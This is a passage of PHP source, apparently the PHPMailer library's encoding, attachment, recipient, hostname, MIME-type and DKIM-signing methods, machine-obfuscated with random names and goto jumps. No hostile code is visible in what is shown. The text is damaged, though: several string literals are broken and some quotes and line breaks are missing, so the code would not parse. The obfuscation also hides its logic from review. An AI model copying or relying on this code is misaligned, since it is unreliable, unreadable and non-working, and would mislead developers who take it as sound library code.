HDw8B: if (!function_exists("JMm3D")) { goto K5fv9; } goto yC2zM; u7mZw: } public function has8bitChars($Gt6CU) { return (bool) preg_match("/[\x80-\xFF]/", $Gt6CU); } public function base64EncodeWrapMB($F2YZh, $nqqWv = null) { goto W_ZtU; JWbtC: $pdg5x = jMM3d($F2YZh, $this->CharSet); goto BZxat; Ql0t7: p08QJ: goto tWmCS; TA7OI: $Bkv4C += $xzrCO; goto cf_Oq; ZOP3y: $Bkv4C = 0; goto Ql0t7; lXpAL: if (strlen($LX8bz) > $B3Rsy) { goto m_z3o; } goto uqpue; nd4Pr: if (!(null === $nqqWv)) { goto nXW6f; } goto zlysk; GgzT2: wDdQZ: goto OUG2d; uqpue: KW13d: goto U1S3p; sNjvF: OGC5G: goto TA7OI; W_ZtU: $ijD2X = "=?" . $this->CharSet . "?B?"; goto pvBJf; hW63C: $hO7CE = $pdg5x / strlen($F2YZh); goto KIoTE; HB8H2: $Zqc2I = 0; goto BjEbu; BZxat: $B3Rsy = 75 - strlen($ijD2X) - strlen($rAKej); goto hW63C; tWmCS: if (!($Bkv4C < $pdg5x)) { goto wDdQZ; } goto HB8H2; cf_Oq: goto p08QJ; goto GgzT2; ZCX49: $wP2Eq = ''; goto nd4Pr; pvBJf: $rAKej = "?="; goto ZCX49; fZyNH: nXW6f: goto JWbtC; KHgz0: $LX8bz = tG5cl($F2YZh, $Bkv4C, $xzrCO, $this->CharSet); goto wiQkp; KIoTE: $XHCpi = floor($B3Rsy * $hO7CE * 0.75); goto ZOP3y; BjEbu: m_z3o: goto nr7dw; EOiue: ++$Zqc2I; goto lXpAL; U1S3p: $wP2Eq .= $LX8bz . $nqqWv; goto sNjvF; zlysk: $nqqWv = static::$LE; goto fZyNH; OUG2d: return substr($wP2Eq, 0, -strlen($nqqWv)); goto zZElr; wiQkp: $LX8bz = base64_encode($LX8bz); goto EOiue; nr7dw: $xzrCO = $XHCpi - $Zqc2I; goto KHgz0; zZElr: } public function encodeQP($Yc9br) { return static::normalizeBreaks(quoted_printable_encode($Yc9br)); } public function encodeQ($F2YZh, $Y5Lx4 = "text") { goto XbKhF; x99_Y: array_unshift($LlSup[0], "="); goto kGx1G; ADDei: unset($LlSup[0][$sokHT]); goto x99_Y; nJbEY: FIzrE: goto I3pM_; kGx1G: wgXjC: goto qN0rv; WiWyh: tAGPc: goto N5lXG; bxUbw: return str_replace(" ", "_", $wP2Eq); goto AlD6a; MhPBz: switch (strtolower($Y5Lx4)) { case "phrase": $fQ4Vu = "^A-Za-z0-9!*+\/ -"; goto fkcOL; case "comment": $fQ4Vu = "\(\)""; case "text": default: $fQ4Vu = "\000-\011\013\014\016-\037\075\077\137\177-\377" . $fQ4Vu; goto fkcOL; } goto WiWyh; Ak4WK: $LlSup = []; goto lJz2g; gb6t2: $sokHT = array_search("=", $LlSup[0]); goto GlxBC; XbKhF: $fQ4Vu = ''; goto vbtTn; N5lXG: fkcOL: goto Ak4WK; GlxBC: if (!(false !== $sokHT)) { goto wgXjC; } goto ADDei; vbtTn: $wP2Eq = str_replace(["\xd", "
"], '', $F2YZh); goto MhPBz; I3pM_: ZABGe: goto bxUbw; qN0rv: foreach (array_unique($LlSup[0]) as $PSGXq) { $wP2Eq = str_replace($PSGXq, "=" . sprintf("%02X", ord($PSGXq)), $wP2Eq); R1kDT: } goto nJbEY; lJz2g: if (!preg_match_all("/[{$fQ4Vu}]/", $wP2Eq, $LlSup)) { goto ZABGe; } goto gb6t2; AlD6a: } public function addStringAttachment($Yc9br, $JqJrD, $DbPq0 = self::GWlmS, $oerFh = '', $z9qgn = "attachment") { goto qxByn; EfGOP: RHsJA: goto F_7SP; F_7SP: $this->attachment[] = [0 => $Yc9br, 1 => $JqJrD, 2 => basename($JqJrD), 3 => $DbPq0, 4 => $oerFh, 5 => true, 6 => $z9qgn, 7 => 0]; goto eCXUT; aoORP: $oerFh = static::filenameToType($JqJrD); goto EfGOP; qxByn: if (!('' == $oerFh)) { goto RHsJA; } goto aoORP; eCXUT: } public function addEmbeddedImage($q7qVx, $Sa3tp, $UxOLN = '', $DbPq0 = self::GWlmS, $oerFh = '', $z9qgn = "inline") { goto yKcEc; qNPTR: yGkLd: goto aeIZV; tBeyA: $UxOLN = $JqJrD; goto BNYSF; yKcEc: if (!(!static::isPermittedPath($q7qVx) || !@is_file($q7qVx))) { goto fnlLM; } goto Ie6mr; o7JKT: return false; goto pTIGH; BNYSF: G32fO: goto v12Fi; aeIZV: $JqJrD = basename($q7qVx); goto uQ4u6; Ie6mr: $this->setError($this->lang("file_access") . $q7qVx); goto o7JKT; v12Fi: $this->attachment[] = [0 => $q7qVx, 1 => $JqJrD, 2 => $UxOLN, 3 => $DbPq0, 4 => $oerFh, 5 => false, 6 => $z9qgn, 7 => $Sa3tp]; goto Zuzuk; O1Rjp: if (!('' == $oerFh)) { goto yGkLd; } goto HroiE; uQ4u6: if (!('' == $UxOLN)) { goto G32fO; } goto tBeyA; pTIGH: fnlLM: goto O1Rjp; Zuzuk: return true; goto E8JqS; HroiE: $oerFh = static::filenameToType($q7qVx); goto qNPTR; E8JqS: } public function addStringEmbeddedImage($Yc9br, $Sa3tp, $UxOLN = '', $DbPq0 = self::GWlmS, $oerFh = '', $z9qgn = "inline") { goto eUjwc; J50He: iXC8r: goto MwUcO; JT0AH: return true; goto k8YRW; slutT: $oerFh = static::filenameToType($UxOLN); goto J50He; MwUcO: $this->attachment[] = [0 => $Yc9br, 1 => $UxOLN, 2 => $UxOLN, 3 => $DbPq0, 4 => $oerFh, 5 => true, 6 => $z9qgn, 7 => $Sa3tp]; goto JT0AH; eUjwc: if (!('' == $oerFh and !empty($UxOLN))) { goto iXC8r; } goto slutT; k8YRW: } protected function cidExists($Sa3tp) { goto g0YHV; KVnf6: ZdBDn: goto lXKso; g0YHV: foreach ($this->attachment as $ZuLe4) { goto UMHsk; A6BmC: IES9F: goto wjutf; UMHsk: if (!("inline" == $ZuLe4[6] and $Sa3tp == $ZuLe4[7])) { goto XiCFe; } goto N5hzt; uFRSU: XiCFe: goto A6BmC; N5hzt: return true; goto uFRSU; wjutf: } goto KVnf6; lXKso: return false; goto CQlM2; CQlM2: } public function inlineImageExists() { goto XhK1K; K85mU: Qmtbs: goto Xmifv; Xmifv: return false; goto DdifZ; XhK1K: foreach ($this->attachment as $ZuLe4) { goto YtE9f; YtE9f: if (!("inline" == $ZuLe4[6])) { goto D_bcY; } goto Z_mWP; lAZcK: D_bcY: goto iv6O3; iv6O3: ZSWqu: goto StTxy; Z_mWP: return true; goto lAZcK; StTxy: } goto K85mU; DdifZ: } public function attachmentExists() { goto j36_v; Ssx_N: return false; goto dHms_; DZcbv: IQe00: goto Ssx_N; j36_v: foreach ($this->attachment as $ZuLe4) { goto akpR0; mMZ2x: Nt1g1: goto OlRzJ; OlRzJ: v061g: goto gd_b4; akpR0: if (!("attachment" == $ZuLe4[6])) { goto Nt1g1; } goto pzKjn; pzKjn: return true; goto mMZ2x; gd_b4: } goto DZcbv; dHms_: } public function alternativeExists() { return !empty($this->AltBody); } public function clearQueuedAddresses($nPdtN) { $this->RecipientsQueue = array_filter($this->RecipientsQueue, function ($vS0Gu) use($nPdtN) { return $vS0Gu[0] != $nPdtN; }); } public function clearAddresses() { goto u8HH6; u8HH6: foreach ($this->to as $cIRlt) { unset($this->all_recipients[strtolower($cIRlt[0])]); CkkEb: } goto Fm0A7; TLPwG: $this->clearQueuedAddresses("to"); goto Ne7yr; Fm0A7: MRbCH: goto r4vWR; r4vWR: $this->to = []; goto TLPwG; Ne7yr: } public function clearCCs() { goto qbDZX; SZtmS: $this->clearQueuedAddresses("cc"); goto TmvSv; arLIu: $this->cc = []; goto SZtmS; qbDZX: foreach ($this->cc as $K02kO) { unset($this->all_recipients[strtolower($K02kO[0])]); y1cDC: } goto B83GT; B83GT: DTHPq: goto arLIu; TmvSv: } public function clearBCCs() { goto MTemH; nu5xc: Tjuyi: goto pzAGR; MTemH: foreach ($this->bcc as $E4KUB) { unset($this->all_recipients[strtolower($E4KUB[0])]); DCXJ4: } goto nu5xc; pzAGR: $this->bcc = []; goto ehF4G; ehF4G: $this->clearQueuedAddresses("bcc"); goto MmCC3; MmCC3: } public function clearReplyTos() { $this->ReplyTo = []; $this->ReplyToQueue = []; } public function clearAllRecipients() { goto bSoQf; bSoQf: $this->to = []; goto YZidV; c0HrL: $this->bcc = []; goto XMh4G; XMh4G: $this->all_recipients = []; goto reTtF; YZidV: $this->cc = []; goto c0HrL; reTtF: $this->RecipientsQueue = []; goto UhxXR; UhxXR: } public function clearAttachments() { $this->attachment = []; } public function clearCustomHeaders() { $this->CustomHeader = []; } protected function setError($bhokl) { goto kRSGW; iDhVT: c_4UQ: goto T1R1z; B3bR6: if (empty($sobEx["smtp_code_ex"])) { goto ljlq8; } goto dTfmw; T1R1z: $this->ErrorInfo = $bhokl; goto cLbaJ; nS1UN: if (empty($sobEx["smtp_code"])) { goto qOGtX; } goto kOBDW; KZuxF: if (!("smtp" == $this->Mailer and null !== $this->smtp)) { goto c_4UQ; } goto M00_c; M00_c: $sobEx = $this->smtp->getError(); goto Sxyln; xX6rO: qOGtX: goto B3bR6; wFuMf: $bhokl .= $this->lang("smtp_error") . $sobEx["error"]; goto nvnxv; Sxyln: if (empty($sobEx["error"])) { goto aUAhn; } goto wFuMf; nvnxv: if (empty($sobEx["detail"])) { goto OmmvB; } goto G6qhI; dTfmw: $bhokl .= " Additional SMTP info: " . $sobEx["smtp_code_ex"]; goto wRmKr; kRSGW: ++$this->error_count; goto KZuxF; wRmKr: ljlq8: goto n4s8u; eLcrw: OmmvB: goto nS1UN; G6qhI: $bhokl .= " Detail: " . $sobEx["detail"]; goto eLcrw; n4s8u: aUAhn: goto iDhVT; kOBDW: $bhokl .= " SMTP code: " . $sobEx["smtp_code"]; goto xX6rO; cLbaJ: } public static function rfcDate() { date_default_timezone_set(@date_default_timezone_get()); return date("D, j M Y H:i:s O"); } protected function serverHostname() { goto de3Gt; lMvcW: kzO8j: goto tWuJf; yDgzD: w48Mn: goto sdzKQ; FuliD: if (static::isValidHost($oKqtC)) { goto XbWFY; } goto Wht3g; ZR601: $oKqtC = gethostname(); goto t1wIT; sbTV3: return $oKqtC; goto PbteD; h1v9F: if (!empty($this->Hostname)) { goto tIHmJ; } goto P8JQ3; tWuJf: $oKqtC = php_uname("n"); goto P1SPi; OQsXz: goto f0rdt; goto f9PMJ; sdzKQ: $oKqtC = $_SERVER["SERVER_NAME"]; goto OQsXz; TXnVp: $oKqtC = $this->Hostname; goto qG13n; VsBza: XbWFY: goto sbTV3; dsMVs: tIHmJ: goto TXnVp; P8JQ3: if (isset($_SERVER) and array_key_exists("SERVER_NAME", $_SERVER)) { goto w48Mn; } goto CAyld; Wht3g: return "localhost.localdomain"; goto VsBza; QrZ8c: if (php_uname("n") !== false) { goto kzO8j; } goto c3Dlf; c3Dlf: goto f0rdt; goto dsMVs; f9PMJ: fMTuZ: goto ZR601; qG13n: goto f0rdt; goto yDgzD; CAyld: if (function_exists("gethostname") and gethostname() !== false) { goto fMTuZ; } goto QrZ8c; P1SPi: f0rdt: goto FuliD; t1wIT: goto f0rdt; goto lMvcW; de3Gt: $oKqtC = ''; goto h1v9F; PbteD: } public static function isValidHost($SbhNW) { goto Ks1f3; g_Jzk: return (bool) filter_var(trim($SbhNW, "[]"), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6); goto n_xN1; q8Mj6: return false; goto itFyn; mIMxp: return (bool) filter_var($SbhNW, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4); goto WIiAx; WnGbs: if (!(trim($SbhNW, "[]") != $SbhNW)) { goto ajV_p; } goto g_Jzk; CArqO: return false; goto PdAoN; WIiAx: YkGcL: goto ky2o7; uUMaE: if (!is_numeric(str_replace(".", '', $SbhNW))) { goto YkGcL; } goto mIMxp; n_xN1: ajV_p: goto uUMaE; ky2o7: if (!filter_var("http://" . $SbhNW, FILTER_VALIDATE_URL)) { goto ZqKy4; } goto jvYKw; Ks1f3: if (!(empty($SbhNW) or !is_string($SbhNW) or strlen($SbhNW) > 256)) { goto YeUMg; } goto q8Mj6; keGBA: ZqKy4: goto CArqO; jvYKw: return true; goto keGBA; itFyn: YeUMg: goto WnGbs; PdAoN: } protected function lang($PKEp0) { goto Ft9va; o2Y1W: return $PKEp0; goto WdAh3; cuRMs: if (!array_key_exists($PKEp0, $this->language)) { goto dF0c6; } goto w4ppn; gtfGC: dF0c6: goto o2Y1W; Lj3gJ: $this->setLanguage("en"); goto u_ZiG; q7LjC: ZxZDT: goto Txl7l; Txl7l: return $this->language[$PKEp0]; goto gtfGC; JQEHf: return $this->language[$PKEp0]; goto q7LjC; w4ppn: if (!("smtp_connect_failed" == $PKEp0)) { goto ZxZDT; } goto JQEHf; u_ZiG: gA5lL: goto cuRMs; Ft9va: if (!(count($this->language) < 1)) { goto gA5lL; } goto Lj3gJ; WdAh3: } public function isError() { return $this->error_count > 0; } public function addCustomHeader($UxOLN, $TZqE1 = null) { goto kISHD; mf45Y: $this->CustomHeader[] = [$UxOLN, $TZqE1]; goto zPTwr; kISHD: if (null === $TZqE1) { goto uGG3m; } goto mf45Y; humR_: $this->CustomHeader[] = explode(":", $UxOLN, 2); goto kdWvW; zPTwr: goto kbhQS; goto H0jAJ; kdWvW: kbhQS: goto AwQZX; H0jAJ: uGG3m: goto humR_; AwQZX: } public function getCustomHeaders() { return $this->CustomHeader; } public function msgHTML($upS1q, $kqcBI = '', $s7tSm = false) { goto kHVAT; kT17Z: kdCde: goto xBqOG; dRPOQ: if (!array_key_exists(2, $TJMWv)) { goto kdCde; } goto unI1k; A1_ce: return $this->Body; goto ROdND; QewPF: gZV6K: goto kT17Z; GmK65: kOrjp: goto A1_ce; RBG6t: $this->AltBody = static::normalizeBreaks($this->html2text($upS1q, $s7tSm)); goto ShKZe; ShKZe: if ($this->alternativeExists()) { goto kOrjp; } goto NT9F9; NT9F9: $this->AltBody = "This is an HTML-only message. To view it, activate HTML in your email application." . static::$LE; goto GmK65; Yal4u: QZuyg: goto yn_d1; yn_d1: foreach ($TJMWv[2] as $JnREA => $tXFHK) { goto KmKmf; os2ou: goto WRPKw; goto kXgR1; exzN1: kvLav: goto A3yQF; AW_FP: $dauFV .= "/"; goto ek_XF; u227G: $Sa3tp = hash("sha256", $tXFHK) . "@phpmailer.0"; goto HB4HK; Qg6qV: $this->addStringEmbeddedImage($Rr1ud, $Sa3tp, "embed" . $JnREA, static::GWlmS, $jn56G[1]); goto XUvEG; p1hd7: WB8bu: goto Wkerb; WYD8V: KD84U: goto Pn3Tr; em94K: XKIY6: goto yTkTi; GI3rR: if (count($jn56G) == 4 and static::GWlmS == $jn56G[2]) { goto ukWFP; } goto QhY7V; XUvEG: CofkC: goto jIvsX; w3eh0: if ($this->cidExists($Sa3tp)) { goto CofkC; } goto Qg6qV; eGsr0: if (!$this->addEmbeddedImage($kqcBI . $dauFV . $JqJrD, $Sa3tp, $JqJrD, static::GWlmS, static::_mime_types((string) static::mb_pathinfo($JqJrD, PATHINFO_EXTENSION)))) { goto KD84U; } goto TDN8h; NLwPb: $JqJrD = basename($tXFHK); goto iB_1j; KmKmf: if (!preg_match("#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#", $tXFHK, $jn56G)) { goto WB8bu; } goto GI3rR; IBYY6: $Rr1ud = rawurldecode($jn56G[3]); goto OxI0L; Pn3Tr: N2Cr7: goto em94K; XXutE: if (!("." == $dauFV)) { goto T1z9x; } goto u0Jhg; jIvsX: $upS1q = str_replace($TJMWv[0][$JnREA], $TJMWv[1][$JnREA] . "="cid:" . $Sa3tp . """, $upS1q); goto wAoZn; ZlZWf: ukWFP: goto Z76LE; iB_1j: $dauFV = dirname($tXFHK); goto XXutE; A3yQF: if (!(strlen($dauFV) > 1 and "/" != substr($dauFV, -1))) { goto Zaet0; } goto AW_FP; QhY7V: if ('' == $jn56G[2]) { goto G9Cux; } goto dqE1n; efqbP: goto WRPKw; goto ZlZWf; OxI0L: WRPKw: goto R07xs; kXgR1: G9Cux: goto IBYY6; ek_XF: Zaet0: goto eGsr0; dqE1n: goto XKIY6; goto efqbP; wAoZn: goto XKIY6; goto p1hd7; jIaBg: $kqcBI .= "/"; goto exzN1; SssRh: T1z9x: goto u227G; R07xs: $Sa3tp = hash("sha256", $Rr1ud) . "@phpmailer.0"; goto w3eh0; HB4HK: if (!(strlen($kqcBI) > 1 and "/" != substr($kqcBI, -1))) { goto kvLav; } goto jIaBg; u0Jhg: $dauFV = ''; goto SssRh; Z76LE: $Rr1ud = base64_decode($jn56G[3]); goto os2ou; Wkerb: if (!(!empty($kqcBI) and strpos($tXFHK, "..") === false and 0 !== strpos($tXFHK, "cid:") and !preg_match("#^[a-z][a-z0-9+.-]*:?//#i", $tXFHK))) { goto N2Cr7; } goto NLwPb; TDN8h: $upS1q = preg_replace("/" . $TJMWv[1][$JnREA] . "=["']" . preg_quote($tXFHK, "/") . "["']/Ui", $TJMWv[1][$JnREA] . "="cid:" . $Sa3tp . """, $upS1q); goto WYD8V; yTkTi: } goto QewPF; unI1k: if (!(strlen($kqcBI) > 1 && "/" != substr($kqcBI, -1))) { goto QZuyg; } goto ELTSm; kHVAT: preg_match_all("/(src|background)=["'](.*)["']/Ui", $upS1q, $TJMWv); goto dRPOQ; FNNMK: $this->Body = static::normalizeBreaks($upS1q); goto RBG6t; ELTSm: $kqcBI .= "/"; goto Yal4u; xBqOG: $this->isHTML(true); goto FNNMK; ROdND: } public function html2text($nyGzC, $s7tSm = false) { goto ApLbX; lJWZv: g10k2: goto Nkv1r; Nkv1r: return html_entity_decode(trim(strip_tags(preg_replace("/<(head|title|style|script)[^>]*>.*?<\/\1>/si", '', $nyGzC))), ENT_QUOTES, $this->CharSet); goto wcZVN; MLzbz: return call_user_func($s7tSm, $nyGzC); goto lJWZv; ApLbX: if (!is_callable($s7tSm)) { goto g10k2; } goto MLzbz; wcZVN: } public static function _mime_types($XgutQ = '') { goto ghHr_; WAM31: return "application/octet-stream"; goto I5KYa; iR03D: $XgutQ = strtolower($XgutQ); goto OEZ2G; ghHr_: $Q_U9G = ["xl" => "application/excel", "js" => "application/javascript", "hqx" => "application/mac-binhex40", "cpt" => "application/mac-compactpro", "bin" => "application/macbinary", "doc" => "application/msword", "word" => "application/msword", "xlsx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet", "xltx" => "application/vnd.openxmlformats-officedocument.spreadsheetml.template", "potx" => "application/vnd.openxmlformats-officedocument.presentationml.template", "ppsx" => "application/vnd.openxmlformats-officedocument.presentationml.slideshow", "pptx" => "application/vnd.openxmlformats-officedocument.presentationml.presentation", "sldx" => "application/vnd.openxmlformats-officedocument.presentationml.slide", "docx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.document", "dotx" => "application/vnd.openxmlformats-officedocument.wordprocessingml.template", "xlam" => "application/vnd.ms-excel.addin.macroEnabled.12", "xlsb" => "application/vnd.ms-excel.sheet.binary.macroEnabled.12", "class" => "application/octet-stream", "dll" => "application/octet-stream", "dms" => "application/octet-stream", "exe" => "application/octet-stream", "lha" => "application/octet-stream", "lzh" => "application/octet-stream", "psd" => "application/octet-stream", "sea" => "application/octet-stream", "so" => "application/octet-stream", "oda" => "application/oda", "pdf" => "application/pdf", "ai" => "application/postscript", "eps" => "application/postscript", "ps" => "application/postscript", "smi" => "application/smil", "smil" => "application/smil", "mif" => "application/vnd.mif", "xls" => "application/vnd.ms-excel", "ppt" => "application/vnd.ms-powerpoint", "wbxml" => "application/vnd.wap.wbxml", "wmlc" => "application/vnd.wap.wmlc", "dcr" => "application/x-director", "dir" => "application/x-director", "dxr" => "application/x-director", "dvi" => "application/x-dvi", "gtar" => "application/x-gtar", "php3" => "application/x-httpd-php", "php4" => "application/x-httpd-php", "php" => "application/x-httpd-php", "phtml" => "application/x-httpd-php", "phps" => "application/x-httpd-php-source", "swf" => "application/x-shockwave-flash", "sit" => "application/x-stuffit", "tar" => "application/x-tar", "tgz" => "application/x-tar", "xht" => "application/xhtml+xml", "xhtml" => "application/xhtml+xml", "zip" => "application/zip", "mid" => "audio/midi", "midi" => "audio/midi", "mp2" => "audio/mpeg", "mp3" => "audio/mpeg", "m4a" => "audio/mp4", "mpga" => "audio/mpeg", "aif" => "audio/x-aiff", "aifc" => "audio/x-aiff", "aiff" => "audio/x-aiff", "ram" => "audio/x-pn-realaudio", "rm" => "audio/x-pn-realaudio", "rpm" => "audio/x-pn-realaudio-plugin", "ra" => "audio/x-realaudio", "wav" => "audio/x-wav", "mka" => "audio/x-matroska", "bmp" => "image/bmp", "gif" => "image/gif", "jpeg" => "image/jpeg", "jpe" => "image/jpeg", "jpg" => "image/jpeg", "png" => "image/png", "tiff" => "image/tiff", "tif" => "image/tiff", "webp" => "image/webp", "heif" => "image/heif", "heifs" => "image/heif-sequence", "heic" => "image/heic", "heics" => "image/heic-sequence", "eml" => "message/rfc822", "css" => "text/css", "html" => "text/html", "htm" => "text/html", "shtml" => "text/html", "log" => "text/plain", "text" => "text/plain", "txt" => "text/plain", "rtx" => "text/richtext", "rtf" => "text/rtf", "vcf" => "text/vcard", "vcard" => "text/vcard", "ics" => "text/calendar", "xml" => "text/xml", "xsl" => "text/xml", "wmv" => "video/x-ms-wmv", "mpeg" => "video/mpeg", "mpe" => "video/mpeg", "mpg" => "video/mpeg", "mp4" => "video/mp4", "m4v" => "video/mp4", "mov" => "video/quicktime", "qt" => "video/quicktime", "rv" => "video/vnd.rn-realvideo", "avi" => "video/x-msvideo", "movie" => "video/x-sgi-movie", "webm" => "video/webm", "mkv" => "video/x-matroska"]; goto iR03D; UoHB8: UPmfq: goto WAM31; OEZ2G: if (!array_key_exists($XgutQ, $Q_U9G)) { goto UPmfq; } goto WPldr; WPldr: return $Q_U9G[$XgutQ]; goto UoHB8; I5KYa: } public static function filenameToType($JqJrD) { goto WpD6e; QHqzI: if (!(false !== $kio_1)) { goto KhctM; } goto vRxNP; vRxNP: $JqJrD = substr($JqJrD, 0, $kio_1); goto ZS6cX; ZS6cX: KhctM: goto YbUpr; YbUpr: $XgutQ = static::mb_pathinfo($JqJrD, PATHINFO_EXTENSION); goto J5vve; WpD6e: $kio_1 = strpos($JqJrD, "?"); goto QHqzI; J5vve: return static::_mime_types($XgutQ); goto ahBNJ; ahBNJ: } public static function mb_pathinfo($q7qVx, $LiNAI = null) { goto gVpUA; A9h0F: if (!array_key_exists(2, $T8maC)) { goto JSZI2; } goto VgMWs; r48Gr: $C_7kb["extension"] = $T8maC[5]; goto xANPs; Y_Lat: $C_7kb["dirname"] = $T8maC[1]; goto ISEUl; PhYNA: switch ($LiNAI) { case PATHINFO_DIRNAME: case "dirname": return $C_7kb["dirname"]; case PATHINFO_BASENAME: case "basename": return $C_7kb["basename"]; case PATHINFO_EXTENSION: case "extension": return $C_7kb["extension"]; case PATHINFO_FILENAME: case "filename": return $C_7kb["filename"]; default: return $C_7kb; } goto E1WON; fqaKQ: fxG8S: goto A6v6E; xANPs: M90B0: goto RXbZh; A6v6E: q_1AD: goto PhYNA; XUBmO: RjAUH: goto O2TCs; ISEUl: XXRtU: goto A9h0F; RXbZh: if (!array_key_exists(3, $T8maC)) { goto fxG8S; } goto dj6Nv; vH3i0: if (!array_key_exists(1, $T8maC)) { goto XXRtU; } goto Y_Lat; MeYFr: if (!preg_match("#^(.*?)[\\/]*(([^/\\]*?)(\.([^\.\\/]+?)|))[\\/\.]*$#im", $q7qVx, $T8maC)) { goto q_1AD; } goto vH3i0; STUwl: JSZI2: goto cTcV4; VgMWs: $C_7kb["basename"] = $T8maC[2]; goto STUwl; cTcV4: if (!array_key_exists(5, $T8maC)) { goto M90B0; } goto r48Gr; dj6Nv: $C_7kb["filename"] = $T8maC[3]; goto fqaKQ; E1WON: y25sp: goto XUBmO; gVpUA: $C_7kb = ["dirname" => '', "basename" => '', "extension" => '', "filename" => '']; goto kJw4G; kJw4G: $T8maC = []; goto MeYFr; O2TCs: } public function set($UxOLN, $TZqE1 = '') { goto OShjL; VGd_O: return false; goto eHjqx; kxHN4: return true; goto FLYUo; FLYUo: P9tZO: goto y93zg; OShjL: if (!property_exists($this, $UxOLN)) { goto P9tZO; } goto mxELE; y93zg: $this->setError($this->lang("variable_set") . $UxOLN); goto VGd_O; mxELE: $this->{$UxOLN} = $TZqE1; goto kxHN4; eHjqx: } public function secureHeader($F2YZh) { return trim(str_replace(["
", "\xa"], '', $F2YZh)); } public static function normalizeBreaks($Gt6CU, $dz0w8 = null) { goto eH9ac; cQrO1: if (!("\xa" !== $dz0w8)) { goto tQuUA; } goto Gm_iB; sNN6L: $dz0w8 = static::$LE; goto Kex7X; Gm_iB: $Gt6CU = str_replace("\xa", $dz0w8, $Gt6CU); goto uiRgQ; XDAtO: return $Gt6CU; goto lCSCm; eH9ac: if (!(null === $dz0w8)) { goto o9fhF; } goto sNN6L; uiRgQ: tQuUA: goto XDAtO; Kex7X: o9fhF: goto hBIOb; hBIOb: $Gt6CU = str_replace(["\xd
", "\xd"], "\xa", $Gt6CU); goto cQrO1; lCSCm: } public static function getLE() { return static::$LE; } protected static function setLE($YBSwi) { static::$LE = $YBSwi; } public function sign($oMICD, $nW1CS, $xbaBe, $ne3vE = '') { goto rSwhl; GczE8: $this->sign_extracerts_file = $ne3vE; goto IYnSp; L0Fys: $this->sign_key_file = $nW1CS; goto ky612; rSwhl: $this->sign_cert_file = $oMICD; goto L0Fys; ky612: $this->sign_key_pass = $xbaBe; goto GczE8; IYnSp: } public function DKIM_QP($b1IRG) { goto MUnZQ; qqeXW: hGK1M: goto inO0w; wMcUv: goto hGK1M; goto nEQDW; LLiPj: $cNZRu = ord($b1IRG[$Bkv4C]); goto AJ5YJ; AJ5YJ: if (0x21 <= $cNZRu and $cNZRu <= 0x3a or $cNZRu == 0x3c or 0x3e <= $cNZRu and $cNZRu <= 0x7e) { goto Z4kxe; } goto FSBms; cBnbd: $Bkv4C = 0; goto tYgdO; inO0w: aAmtd: goto d7n0M; tYgdO: ymhVD: goto bz0U2; bz0U2: if (!($Bkv4C < $i7eNA)) { goto raPCL; } goto LLiPj; d7n0M: ++$Bkv4C; goto zm8ep; FSBms: $agbTK .= "=" . sprintf("%02X", $cNZRu); goto wMcUv; nEQDW: Z4kxe: goto swKJo; Tm2K6: return $agbTK; goto ZydnK; zm8ep: goto ymhVD; goto EJHn1; EJHn1: raPCL: goto Tm2K6; swKJo: $agbTK .= $b1IRG[$Bkv4C]; goto qqeXW; MUnZQ: $agbTK = ''; goto YXheD; YXheD: $i7eNA = strlen($b1IRG); goto cBnbd; ZydnK: } public function DKIM_Sign($wpyF2) { goto DimTu; Rw8CA: $bEQee = openssl_pkey_get_private($ndM0_); goto edfwP; Lq1bV: if (!openssl_sign($wpyF2, $n4JHp, $bEQee, "sha256WithRSAEncryption")) { goto fPMoQ; } goto WfiuC; N23Nm: fPMoQ: goto u2DbO; edfwP: goto tXavO; goto t2Jla; zasCf: return base64_encode($n4JHp); goto N23Nm; Hs9nk: return ''; goto Dgjpy; Dgjpy: yQ4qv: goto aLwB8; eYRCO: throw new Exception($this->lang("extension_missing") . "openssl"); goto o6gkF; u2DbO: openssl_pkey_free($bEQee); goto H9LNs; t2Jla: eFnHw: goto ZXirG; H9LNs: return ''; goto CA5JJ; ZXirG: $bEQee = openssl_pkey_get_private($ndM0_, $this->DKIM_passphrase); goto zZuX9; DimTu: if (defined("PKCS7_TEXT")) { goto yQ4qv; } goto Q4C1X; zZuX9: tXavO: goto Lq1bV; Q4C1X: if (!$this->exceptions) { goto SzRir; } goto eYRCO; ANbLV: if ('' != $this->DKIM_passphrase) { goto eFnHw; } goto Rw8CA; aLwB8: $ndM0_ = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); goto ANbLV; WfiuC: openssl_pkey_free($bEQee); goto zasCf; o6gkF: SzRir: goto Hs9nk; CA5JJ: } public function DKIM_HeaderC($wpyF2) { goto cjLeN; BXXSd: foreach ($FZAZx as $PKEp0 => $agbTK) { goto ZyI9T; qBufb: uGTwl: goto N7fj5; IMw43: $TZqE1 = preg_replace("/[ \t]{2,}/", " ", $TZqE1); goto g0MbC; eWdzy: $GelJ9 = strtolower($GelJ9); goto IMw43; ZyI9T: if (!(strpos($agbTK, ":") === false)) { goto uGTwl; } goto jPDLg; g0MbC: $FZAZx[$PKEp0] = trim($GelJ9, " ") . ":" . trim($TZqE1, " \x9"); goto GTtiw; jPDLg: goto ScZRF; goto qBufb; GTtiw: ScZRF: goto NvK3D; N7fj5: list($GelJ9, $TZqE1) = explode(":", $agbTK, 2); goto eWdzy; NvK3D: } goto LXGBu; s0RGY: return implode("\xd
", $FZAZx); goto mL0ie; rJPCM: $FZAZx = explode("
", $wpyF2); goto BXXSd; cjLeN: $wpyF2 = preg_replace("/\r\n[ \t]+/", " ", $wpyF2); goto rJPCM; LXGBu: Bgtox: goto s0RGY; mL0ie: } public function DKIM_BodyC($qKvMM) { goto EwUru; WVw88: $qKvMM = static::normalizeBreaks($qKvMM, "
\xa"); goto a1_rr; FivhU: xC2t0: goto WVw88; a1_rr: return rtrim($qKvMM, "\xd\xa") . "\xd
